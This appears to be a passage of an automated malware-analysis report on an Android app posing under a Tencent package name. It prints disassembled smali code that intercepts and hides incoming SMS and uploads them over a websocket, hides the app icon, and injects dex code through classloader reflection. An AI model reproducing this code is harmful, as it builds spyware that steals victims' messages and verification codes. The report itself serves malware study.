                                                • android.support.coreui.app._.d:Ljava/lang/String
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • android.support.coreui.app._.findMethod
                                                • java.lang.Throwable.getMessage
                                                • java.lang.NoClassDefFoundError.<init>
                                                • java.lang.Throwable.getMessage
                                                • java.lang.NoClassDefFoundError.<init>
                                                • java.lang.Throwable.getMessage
                                                • java.lang.NoClassDefFoundError.<init>
                                                Strings
                                                • java.util.ArrayList
                                                • java.io.File
                                                • java.util.List
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Ljava/util/List",
                                                4"<",
                                                5"Ljava/io/File;",
                                                6">;",
                                                7"Ljava/io/File;",
                                                8")V^",
                                                9"Ljava/lang/Exception;"
                                                10}
                                                11.end annotation
                                                12.annotation system Ldalvik/annotation/Throws;
                                                13value = {
                                                14Ljava/lang/Exception;
                                                15}
                                                16.end annotation
                                                17.prologue
                                                18move-object/from16 v1, p0
                                                19move-object/from16 v2, p1
                                                20move-object/from16 v3, p2
                                                21const/4 v15, 0x0
                                                22check-cast v15, Ljava/lang/ClassLoader;
                                                23move-object v5, v15
                                                24move-object v15, v1
                                                26invoke-virtual {v15}, Landroid/support/coreui/app/_;->getHelper()Ljava/lang/ClassLoader;
                                                27move-result-object v15
                                                28if-nez v15, :cond_11c
                                                30sget-object v15, Landroid/support/coreui/app/_;->context:Landroid/content/Context;
                                                32invoke-virtual {v15}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                                                33move-result-object v15
                                                34move-object v5, v15
                                                35goto_18: move-object v15, v5
                                                37sget-object v16, Landroid/support/coreui/app/_;->a:Ljava/lang/String;
                                                39invoke-static/range {v15 .. v16}, Landroid/support/coreui/app/_;->findField(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                40move-result-object v15
                                                41move-object v6, v15
                                                42move-object v15, v6
                                                43move-object/from16 v16, v5
                                                45invoke-virtual/range {v15 .. v16}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                46move-result-object v15
                                                47move-object v7, v15
                                                48move-object v15, v7
                                                50sget-object v16, Landroid/support/coreui/app/_;->b:Ljava/lang/String;
                                                52invoke-static/range {v15 .. v16}, Landroid/support/coreui/app/_;->findField(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                53move-result-object v15
                                                54move-object v8, v15
                                                55move-object v15, v8
                                                56move-object/from16 v16, v7
                                                58invoke-virtual/range {v15 .. v16}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                59move-result-object v15
                                                60check-cast v15, [Ljava/lang/Object;
                                                61move-object v9, v15
                                                62sget v15, Landroid/os/Build$VERSION;->SDK_INT:I
                                                63const/16 v16, 0x15
                                                64move/from16 v0, v16
                                                65if-lt v15, v0, :cond_160
                                                66sget v15, Landroid/os/Build$VERSION;->SDK_INT:I
                                                67const/16 v16, 0x17
                                                68move/from16 v0, v16
                                                69if-ge v15, v0, :cond_160
                                                70move-object v15, v7
                                                72sget-object v16, Landroid/support/coreui/app/_;->c:Ljava/lang/String;
                                                73const/16 v17, 0x3
                                                74move/from16 v0, v17
                                                75new-array v0, v0, [Ljava/lang/Class;
                                                76move-object/from16 v17, v0
                                                77move-object/from16 v24, v17
                                                78move-object/from16 v17, v24
                                                79move-object/from16 v18, v24
                                                80const/16 v19, 0x0
                                                81try_start_5d:
                                                82const-string v20, "java.util.ArrayList"
                                                84invoke-static/range {v20 .. v20}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                85try_end_62: move-result-object v20
                                                86aput-object v20, v18, v19
                                                87move-object/from16 v24, v17
                                                88move-object/from16 v17, v24
                                                89move-object/from16 v18, v24
                                                90const/16 v19, 0x1
                                                91try_start_6d:
                                                92const-string v20, "java.io.File"
                                                94invoke-static/range {v20 .. v20}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                95try_end_72: move-result-object v20
                                                96aput-object v20, v18, v19
                                                97move-object/from16 v24, v17
                                                98move-object/from16 v17, v24
                                                99move-object/from16 v18, v24
                                                100const/16 v19, 0x2
                                                101try_start_7d:
                                                102const-string v20, "java.util.ArrayList"
                                                104invoke-static/range {v20 .. v20}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                105try_end_82: move-result-object v20
                                                106aput-object v20, v18, v19
                                                108invoke-static/range {v15 .. v17}, Landroid/support/coreui/app/_;->findMethod(Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                109move-result-object v15
                                                110move-object v10, v15
                                                111goto_8a: new-instance v15, Ljava/util/ArrayList;
                                                112move-object/from16 v24, v15
                                                113move-object/from16 v15, v24
                                                114move-object/from16 v16, v24
                                                116invoke-direct/range {v16 .. v16}, Ljava/util/ArrayList;-><init>()V
                                                117move-object v11, v15
                                                118move-object v15, v10
                                                119move-object/from16 v16, v7
                                                120const/16 v17, 0x3
                                                121move/from16 v0, v17
                                                122new-array v0, v0, [Ljava/lang/Object;
                                                123move-object/from16 v17, v0
                                                124move-object/from16 v24, v17
                                                125move-object/from16 v17, v24
                                                126move-object/from16 v18, v24
                                                127const/16 v19, 0x0
                                                128move-object/from16 v20, v2
                                                129aput-object v20, v18, v19
                                                130move-object/from16 v24, v17
                                                131move-object/from16 v17, v24
                                                132move-object/from16 v18, v24
                                                133const/16 v19, 0x1
                                                134move-object/from16 v20, v3
                                                135aput-object v20, v18, v19
                                                136move-object/from16 v24, v17
                                                137move-object/from16 v17, v24
                                                138move-object/from16 v18, v24
                                                139const/16 v19, 0x2
                                                140move-object/from16 v20, v11
                                                141aput-object v20, v18, v19
                                                143invoke-virtual/range {v15 .. v17}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                144move-result-object v15
                                                145check-cast v15, [Ljava/lang/Object;
                                                146move-object v12, v15
                                                147move-object v15, v9
                                                149invoke-virtual {v15}, [Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                150move-result-object v15
                                                152invoke-virtual {v15}, Ljava/lang/Class;->getComponentType()Ljava/lang/Class;
                                                153move-result-object v15
                                                154move-object/from16 v16, v9
                                                155move-object/from16 v0, v16
                                                156array-length v0, v0
                                                157move/from16 v16, v0
                                                158move-object/from16 v17, v12
                                                159move-object/from16 v0, v17
                                                160array-length v0, v0
                                                161move/from16 v17, v0
                                                162add-int v16, v16, v17
                                                164invoke-static/range {v15 .. v16}, Ljava/lang/reflect/Array;->newInstance(Ljava/lang/Class;I)Ljava/lang/Object;
                                                165move-result-object v15
                                                166check-cast v15, [Ljava/lang/Object;
                                                167move-object v13, v15
                                                168move-object v15, v9
                                                169const/16 v16, 0x0
                                                170move-object/from16 v17, v13
                                                171const/16 v18, 0x0
                                                172move-object/from16 v19, v9
                                                173move-object/from16 v0, v19
                                                174array-length v0, v0
                                                175move/from16 v19, v0
                                                177invoke-static/range {v15 .. v19}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                178move-object v15, v12
                                                179const/16 v16, 0x0
                                                180move-object/from16 v17, v13
                                                181move-object/from16 v18, v9
                                                182move-object/from16 v0, v18
                                                183array-length v0, v0
                                                184move/from16 v18, v0
                                                185move-object/from16 v19, v12
                                                186move-object/from16 v0, v19
                                                187array-length v0, v0
                                                188move/from16 v19, v0
                                                190invoke-static/range {v15 .. v19}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                191move-object v15, v8
                                                192move-object/from16 v16, v7
                                                193move-object/from16 v17, v13
                                                195invoke-virtual/range {v15 .. v17}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                                196goto_11b: return-void
                                                197cond_11c: move-object v15, v1
                                                199invoke-virtual {v15}, Landroid/support/coreui/app/_;->getHelper()Ljava/lang/ClassLoader;
                                                200move-result-object v15
                                                201move-object v5, v15
                                                202goto/16 :goto_18
                                                203catch_124: move-exception v15
                                                204move-object v11, v15
                                                205new-instance v15, Ljava/lang/NoClassDefFoundError;
                                                206move-object/from16 v24, v15
                                                207move-object/from16 v15, v24
                                                208move-object/from16 v16, v24
                                                209move-object/from16 v17, v11
                                                211invoke-virtual/range {v17 .. v17}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
                                                212move-result-object v17
                                                214invoke-direct/range {v16 .. v17}, Ljava/lang/NoClassDefFoundError;-><init>(Ljava/lang/String;)V
                                                215throw v15
                                                216catch_138: move-exception v15
                                                217move-object v12, v15
                                                218new-instance v15, Ljava/lang/NoClassDefFoundError;
                                                219move-object/from16 v24, v15
                                                220move-object/from16 v15, v24
                                                221move-object/from16 v16, v24
                                                222move-object/from16 v17, v12
                                                224invoke-virtual/range {v17 .. v17}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
                                                225move-result-object v17
                                                227invoke-direct/range {v16 .. v17}, Ljava/lang/NoClassDefFoundError;-><init>(Ljava/lang/String;)V
                                                228throw v15
                                                229catch_14c: move-exception v15
                                                230move-object v13, v15
                                                231new-instance v15, Ljava/lang/NoClassDefFoundError;
                                                232move-object/from16 v24, v15
                                                233move-object/from16 v15, v24
                                                234move-object/from16 v16, v24
                                                235move-object/from16 v17, v13
                                                237invoke-virtual/range {v17 .. v17}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
                                                238move-result-object v17
                                                240invoke-direct/range {v16 .. v17}, Ljava/lang/NoClassDefFoundError;-><init>(Ljava/lang/String;)V
                                                241throw v15
                                                242cond_160: sget v15, Landroid/os/Build$VERSION;->SDK_INT:I
                                                243const/16 v16, 0x17
                                                244move/from16 v0, v16
                                                245if-lt v15, v0, :cond_1e6
                                                246move-object v15, v7
                                                248sget-object v16, Landroid/support/coreui/app/_;->d:Ljava/lang/String;
                                                249const/16 v17, 0x3
                                                250move/from16 v0, v17
                                                251new-array v0, v0, [Ljava/lang/Class;
                                                252move-object/from16 v17, v0
                                                253move-object/from16 v24, v17
                                                254move-object/from16 v17, v24
                                                255move-object/from16 v18, v24
                                                256const/16 v19, 0x0
                                                257try_start_17b:
                                                258const-string v20, "java.util.List"
                                                260invoke-static/range {v20 .. v20}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                261try_end_180: move-result-object v20
                                                262aput-object v20, v18, v19
                                                263move-object/from16 v24, v17
                                                264move-object/from16 v17, v24
                                                265move-object/from16 v18, v24
                                                266const/16 v19, 0x1
                                                267try_start_18b:
                                                268const-string v20, "java.io.File"
                                                270invoke-static/range {v20 .. v20}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                271try_end_190: move-result-object v20
                                                272aput-object v20, v18, v19
                                                273move-object/from16 v24, v17
                                                274move-object/from16 v17, v24
                                                275move-object/from16 v18, v24
                                                276const/16 v19, 0x2
                                                277try_start_19b:
                                                278const-string v20, "java.util.List"
                                                280invoke-static/range {v20 .. v20}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                281try_end_1a0: move-result-object v20
                                                282aput-object v20, v18, v19
                                                284invoke-static/range {v15 .. v17}, Landroid/support/coreui/app/_;->findMethod(Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                285move-result-object v15
                                                286move-object v10, v15
                                                287goto/16 :goto_8a
                                                288catch_1aa: move-exception v15
                                                289move-object v11, v15
                                                290new-instance v15, Ljava/lang/NoClassDefFoundError;
                                                291move-object/from16 v24, v15
                                                292move-object/from16 v15, v24
                                                293move-object/from16 v16, v24
                                                294move-object/from16 v17, v11
                                                296invoke-virtual/range {v17 .. v17}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
                                                297move-result-object v17
                                                299invoke-direct/range {v16 .. v17}, Ljava/lang/NoClassDefFoundError;-><init>(Ljava/lang/String;)V
                                                300throw v15
                                                301catch_1be: move-exception v15
                                                302move-object v12, v15
                                                303new-instance v15, Ljava/lang/NoClassDefFoundError;
                                                304move-object/from16 v24, v15
                                                305move-object/from16 v15, v24
                                                306move-object/from16 v16, v24
                                                307move-object/from16 v17, v12
                                                309invoke-virtual/range {v17 .. v17}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
                                                310move-result-object v17
                                                312invoke-direct/range {v16 .. v17}, Ljava/lang/NoClassDefFoundError;-><init>(Ljava/lang/String;)V
                                                313throw v15
                                                314catch_1d2: move-exception v15
                                                315move-object v13, v15
                                                316new-instance v15, Ljava/lang/NoClassDefFoundError;
                                                317move-object/from16 v24, v15
                                                318move-object/from16 v15, v24
                                                319move-object/from16 v16, v24
                                                320move-object/from16 v17, v13
                                                322invoke-virtual/range {v17 .. v17}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
                                                323move-result-object v17
                                                325invoke-direct/range {v16 .. v17}, Ljava/lang/NoClassDefFoundError;-><init>(Ljava/lang/String;)V
                                                326throw v15
                                                327cond_1e6: goto/16 :goto_11b
                                                APIs
                                                • android.content.Intent.getAction
                                                • java.lang.String.equals
                                                • android.content.Intent.getExtras
                                                • android.os.Bundle.get
                                                • android.telephony.SmsMessage.createFromPdu
                                                • android.telephony.SmsMessage.getTimestampMillis
                                                • android.telephony.SmsMessage.getDisplayOriginatingAddress
                                                • android.telephony.SmsMessage.getMessageBody
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • android.util.Log.d
                                                • java.lang.Math.random
                                                • java.lang.Math.round
                                                • com.tencent.shopcj.utils.SMSMonitor$1.this$0:Lcom/tencent/shopcj/utils/SMSMonitor
                                                • java.util.Date.<init>
                                                • java.text.SimpleDateFormat.format
                                                • com.tencent.shopcj.utils.SMSMonitor$1.this$0:Lcom/tencent/shopcj/utils/SMSMonitor
                                                • com.tencent.shopcj.utils.SMSMonitor$1.this$0:Lcom/tencent/shopcj/utils/SMSMonitor
                                                • java.util.List.contains
                                                • com.tencent.shopcj.utils.SMSMonitor$1.abortBroadcast
                                                • com.tencent.shopcj.websocket.WsTypeEnum.DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum
                                                • com.tencent.shopcj.utils.SMSMonitor$1.this$0:Lcom/tencent/shopcj/utils/SMSMonitor
                                                • com.tencent.shopcj.utils.SMSMonitor$1.this$0:Lcom/tencent/shopcj/utils/SMSMonitor
                                                • java.util.List.iterator
                                                • java.util.Iterator.hasNext
                                                • java.util.Iterator.next
                                                • java.lang.String.contains
                                                • com.tencent.shopcj.utils.SMSMonitor$1.abortBroadcast
                                                • com.tencent.shopcj.websocket.WsTypeEnum.DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum
                                                • com.tencent.shopcj.websocket.WsTypeEnum.DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum
                                                • com.tencent.shopcj.utils.SMSMonitor$1.abortBroadcast
                                                • android.util.Log.d
                                                Strings
                                                • android.provider.Telephony.SMS_RECEIVED
                                                • pdus
                                                • \u6536\u5230\u77ed\u4fe1\uff1a
                                                • (
                                                • )
                                                • SMSMonitor
                                                • \u62e6\u622a\u5230\u4e00\u6761\u77ed\u4fe1
                                                • \u77ed\u4fe1\u62e6\u622a\u6210\u529f
                                                Position Instruction Meta Information
                                                1invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                                                2move-result-object v0
                                                4const-string v1, "android.provider.Telephony.SMS_RECEIVED"
                                                6invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                7move-result v0
                                                8if-eqz v0, :cond_12c
                                                10invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
                                                11move-result-object p2
                                                12if-eqz p2, :cond_12c
                                                14const-string v0, "pdus"
                                                16invoke-virtual {p2, v0}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
                                                17move-result-object p2
                                                18check-cast p2, [Ljava/lang/Object;
                                                19check-cast p2, [Ljava/lang/Object;
                                                20const/4 v0, 0x0
                                                21const/4 v1, 0x0
                                                22goto_1e: array-length v2, p2
                                                23if-ge v1, v2, :cond_12c
                                                24aget-object v2, p2, v1
                                                25check-cast v2, [B
                                                26check-cast v2, [B
                                                28invoke-static {v2}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage;
                                                29move-result-object v2
                                                31invoke-virtual {v2}, Landroid/telephony/SmsMessage;->getTimestampMillis()J
                                                32move-result-wide v3
                                                34invoke-virtual {v2}, Landroid/telephony/SmsMessage;->getDisplayOriginatingAddress()Ljava/lang/String;
                                                35move-result-object v5
                                                37invoke-virtual {v2}, Landroid/telephony/SmsMessage;->getMessageBody()Ljava/lang/String;
                                                38move-result-object v2
                                                39new-instance v6, Ljava/lang/StringBuilder;
                                                41invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                43const-string v7, "\u6536\u5230\u77ed\u4fe1\uff1a"
                                                45invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                47invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                49const-string v7, "("
                                                51invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                53invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                55const-string v7, ")"
                                                57invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                59invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                60move-result-object v6
                                                62const-string v7, "SMSMonitor"
                                                64invoke-static {v7, v6}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                                65new-instance v6, Lcom/tencent/shopcj/bean/SmsBean;
                                                67invoke-direct {v6}, Lcom/tencent/shopcj/bean/SmsBean;-><init>()V
                                                69invoke-static {p1}, Lcom/tencent/shopcj/utils/DeviceUtils;->getTel(Landroid/content/Context;)Ljava/lang/String;
                                                70move-result-object v8
                                                71iput-object v8, v6, Lcom/tencent/shopcj/bean/SmsBean;->deviceNum:Ljava/lang/String;
                                                73invoke-static {}, Ljava/lang/Math;->random()D
                                                74move-result-wide v8
                                                75const-wide v10, 0x416312cfe0000000L # 9999999.0
                                                76mul-double v8, v8, v10
                                                77const-wide/high16 v10, 0x3ff0000000000000L # 1.0
                                                78add-double/2addr v8, v10
                                                80invoke-static {v8, v9}, Ljava/lang/Math;->round(D)J
                                                81move-result-wide v8
                                                82long-to-int v9, v8
                                                83mul-int/lit8 v9, v9, -0x1
                                                84iput v9, v6, Lcom/tencent/shopcj/bean/SmsBean;->smsId:I
                                                85iput-object v5, v6, Lcom/tencent/shopcj/bean/SmsBean;->otherNum:Ljava/lang/String;
                                                86iput-object v2, v6, Lcom/tencent/shopcj/bean/SmsBean;->smsContent:Ljava/lang/String;
                                                88iget-object v8, p0, Lcom/tencent/shopcj/utils/SMSMonitor$1;->this$0:Lcom/tencent/shopcj/utils/SMSMonitor;
                                                90invoke-static {v8}, Lcom/tencent/shopcj/utils/SMSMonitor;->access$000(Lcom/tencent/shopcj/utils/SMSMonitor;)Ljava/text/SimpleDateFormat;
                                                91move-result-object v8
                                                92new-instance v9, Ljava/util/Date;
                                                94invoke-direct {v9, v3, v4}, Ljava/util/Date;-><init>(J)V
                                                96invoke-virtual {v8, v9}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
                                                97move-result-object v3
                                                98iput-object v3, v6, Lcom/tencent/shopcj/bean/SmsBean;->smsTime:Ljava/lang/String;
                                                99iput v0, v6, Lcom/tencent/shopcj/bean/SmsBean;->smsType:I
                                                101iget-object v3, p0, Lcom/tencent/shopcj/utils/SMSMonitor$1;->this$0:Lcom/tencent/shopcj/utils/SMSMonitor;
                                                103invoke-static {v3}, Lcom/tencent/shopcj/utils/SMSMonitor;->access$100(Lcom/tencent/shopcj/utils/SMSMonitor;)Ljava/util/List;
                                                104move-result-object v3
                                                105if-eqz v3, :cond_c2
                                                107iget-object v3, p0, Lcom/tencent/shopcj/utils/SMSMonitor$1;->this$0:Lcom/tencent/shopcj/utils/SMSMonitor;
                                                109invoke-static {v3}, Lcom/tencent/shopcj/utils/SMSMonitor;->access$100(Lcom/tencent/shopcj/utils/SMSMonitor;)Ljava/util/List;
                                                110move-result-object v3
                                                112invoke-interface {v3, v5}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
                                                113move-result v3
                                                114if-eqz v3, :cond_c2
                                                116invoke-virtual {p0}, Lcom/tencent/shopcj/utils/SMSMonitor$1;->abortBroadcast()V
                                                117new-instance v2, Lcom/tencent/shopcj/bean/BaseRequest;
                                                118new-instance v3, Lcom/tencent/shopcj/bean/UploadSmsRequest;
                                                120invoke-direct {v3, v6}, Lcom/tencent/shopcj/bean/UploadSmsRequest;-><init>(Lcom/tencent/shopcj/bean/SmsBean;)V
                                                122invoke-direct {v2, p1, v3}, Lcom/tencent/shopcj/bean/BaseRequest;-><init>(Landroid/content/Context;Lcom/tencent/shopcj/bean/DataBean;)V
                                                124invoke-static {v2}, Lcom/tencent/shopcj/utils/JsonUtils;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                125move-result-object v2
                                                127invoke-static {}, Lcom/tencent/shopcj/websocket/WSManager;->getInstance()Lcom/tencent/shopcj/websocket/WSManager;
                                                128move-result-object v3
                                                130sget-object v4, Lcom/tencent/shopcj/websocket/WsTypeEnum;->DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum;
                                                132invoke-virtual {v3, v4, v2}, Lcom/tencent/shopcj/websocket/WSManager;->sendMessage(Lcom/tencent/shopcj/websocket/WsTypeEnum;Ljava/lang/String;)V
                                                133goto/16 :goto_128
                                                134cond_c2:
                                                135iget-object v3, p0, Lcom/tencent/shopcj/utils/SMSMonitor$1;->this$0:Lcom/tencent/shopcj/utils/SMSMonitor;
                                                137invoke-static {v3}, Lcom/tencent/shopcj/utils/SMSMonitor;->access$200(Lcom/tencent/shopcj/utils/SMSMonitor;)Ljava/util/List;
                                                138move-result-object v3
                                                139if-eqz v3, :cond_101
                                                141iget-object v3, p0, Lcom/tencent/shopcj/utils/SMSMonitor$1;->this$0:Lcom/tencent/shopcj/utils/SMSMonitor;
                                                143invoke-static {v3}, Lcom/tencent/shopcj/utils/SMSMonitor;->access$200(Lcom/tencent/shopcj/utils/SMSMonitor;)Ljava/util/List;
                                                144move-result-object v3
                                                146invoke-interface {v3}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                                147move-result-object v3
                                                148goto_d4:
                                                149invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                                                150move-result v4
                                                151if-eqz v4, :cond_101
                                                153invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                154move-result-object v4
                                                155check-cast v4, Ljava/lang/String;
                                                157invoke-virtual {v2, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                158move-result v4
                                                159if-eqz v4, :cond_d4
                                                161invoke-virtual {p0}, Lcom/tencent/shopcj/utils/SMSMonitor$1;->abortBroadcast()V
                                                162new-instance v4, Lcom/tencent/shopcj/bean/BaseRequest;
                                                163new-instance v5, Lcom/tencent/shopcj/bean/UploadSmsRequest;
                                                165invoke-direct {v5, v6}, Lcom/tencent/shopcj/bean/UploadSmsRequest;-><init>(Lcom/tencent/shopcj/bean/SmsBean;)V
                                                167invoke-direct {v4, p1, v5}, Lcom/tencent/shopcj/bean/BaseRequest;-><init>(Landroid/content/Context;Lcom/tencent/shopcj/bean/DataBean;)V
                                                169invoke-static {v4}, Lcom/tencent/shopcj/utils/JsonUtils;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                170move-result-object v4
                                                172invoke-static {}, Lcom/tencent/shopcj/websocket/WSManager;->getInstance()Lcom/tencent/shopcj/websocket/WSManager;
                                                173move-result-object v5
                                                175sget-object v8, Lcom/tencent/shopcj/websocket/WsTypeEnum;->DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum;
                                                177invoke-virtual {v5, v8, v4}, Lcom/tencent/shopcj/websocket/WSManager;->sendMessage(Lcom/tencent/shopcj/websocket/WsTypeEnum;Ljava/lang/String;)V
                                                178goto/16 :goto_d4
                                                179cond_101: new-instance v2, Lcom/tencent/shopcj/bean/BaseRequest;
                                                180new-instance v3, Lcom/tencent/shopcj/bean/UploadSmsRequest;
                                                182invoke-direct {v3, v6}, Lcom/tencent/shopcj/bean/UploadSmsRequest;-><init>(Lcom/tencent/shopcj/bean/SmsBean;)V
                                                184invoke-direct {v2, p1, v3}, Lcom/tencent/shopcj/bean/BaseRequest;-><init>(Landroid/content/Context;Lcom/tencent/shopcj/bean/DataBean;)V
                                                186invoke-static {v2}, Lcom/tencent/shopcj/utils/JsonUtils;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                187move-result-object v2
                                                189invoke-static {}, Lcom/tencent/shopcj/websocket/WSManager;->getInstance()Lcom/tencent/shopcj/websocket/WSManager;
                                                190move-result-object v3
                                                192sget-object v4, Lcom/tencent/shopcj/websocket/WsTypeEnum;->DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum;
                                                194invoke-virtual {v3, v4, v2}, Lcom/tencent/shopcj/websocket/WSManager;->sendMessage(Lcom/tencent/shopcj/websocket/WsTypeEnum;Ljava/lang/String;)V
                                                196invoke-virtual {p0}, Lcom/tencent/shopcj/utils/SMSMonitor$1;->abortBroadcast()V
                                                198sget-object v2, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_SMS:Ljava/lang/String;
                                                199const/4 v3, 0x1
                                                201const-string v4, "\u62e6\u622a\u5230\u4e00\u6761\u77ed\u4fe1"
                                                203invoke-static {p1, v2, v3, v4}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                205const-string v2, "\u77ed\u4fe1\u62e6\u622a\u6210\u529f"
                                                207invoke-static {v7, v2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                                208goto_128: add-int/lit8 v1, v1, 0x1
                                                209goto/16 :goto_1e
                                                210cond_12c: return-void
                                                APIs
                                                • android.app.Activity.onCreate
                                                • com.tencent.shopcj.ui.AliasMainActivity.
                                                • com.tencent.shopcj.ui.AliasMainActivity.getWindow
                                                • android.view.Window.setGravity
                                                • android.view.Window.getAttributes
                                                • android.view.Window.setAttributes
                                                • android.content.Intent.<init>
                                                • java.lang.Class.getName
                                                • android.content.Intent.setAction
                                                • com.tencent.shopcj.ui.AliasMainActivity.startService
                                                • android.content.Intent.<init>
                                                • android.content.Intent.setFlags
                                                • com.tencent.shopcj.ui.AliasMainActivity.startActivity
                                                • com.tencent.shopcj.ui.AliasMainActivity.getPackageManager
                                                • com.tencent.shopcj.ui.AliasMainActivity.getComponentName
                                                • android.content.pm.PackageManager.setComponentEnabledSetting
                                                • com.tencent.shopcj.main.MyApplication.getInstance
                                                • com.tencent.shopcj.main.MyApplication.setDefaultSms
                                                • com.tencent.shopcj.ui.AliasMainActivity.finish
                                                Strings
                                                • com.tencent.shopcj.ui.Alias1Activity
                                                • com.tencent.shopcj.ui.AliasMainActivity
                                                Position Instruction Meta Information
                                                1invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
                                                3invoke-virtual {p0}, Lcom/tencent/shopcj/ui/AliasMainActivity;->()V
                                                5const-string p1, "com.tencent.shopcj.ui.Alias1Activity"
                                                7const-string v0, "com.tencent.shopcj.ui.AliasMainActivity"
                                                9invoke-static {p0, v0, p1}, Lcom/tencent/shopcj/utils/AppIconUtil;->set(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                                10sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                                11const/16 v1, 0x1d
                                                12if-ge v0, v1, :cond_16
                                                14invoke-static {p0, p1}, Lcom/tencent/shopcj/utils/AppIconUtil;->disableComponent(Landroid/content/Context;Ljava/lang/String;)V
                                                15cond_16:
                                                16invoke-virtual {p0}, Lcom/tencent/shopcj/ui/AliasMainActivity;->getWindow()Landroid/view/Window;
                                                17move-result-object p1
                                                18const/16 v0, 0x33
                                                20invoke-virtual {p1, v0}, Landroid/view/Window;->setGravity(I)V
                                                22invoke-virtual {p1}, Landroid/view/Window;->getAttributes()Landroid/view/WindowManager$LayoutParams;
                                                23move-result-object v0
                                                24const/4 v1, 0x0
                                                25iput v1, v0, Landroid/view/WindowManager$LayoutParams;->x:I
                                                26iput v1, v0, Landroid/view/WindowManager$LayoutParams;->y:I
                                                27const/4 v1, 0x1
                                                28iput v1, v0, Landroid/view/WindowManager$LayoutParams;->width:I
                                                29iput v1, v0, Landroid/view/WindowManager$LayoutParams;->height:I
                                                31invoke-virtual {p1, v0}, Landroid/view/Window;->setAttributes(Landroid/view/WindowManager$LayoutParams;)V
                                                32new-instance p1, Landroid/content/Intent;
                                                33const-class v0, Lcom/tencent/shopcj/service/MainService;
                                                35invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
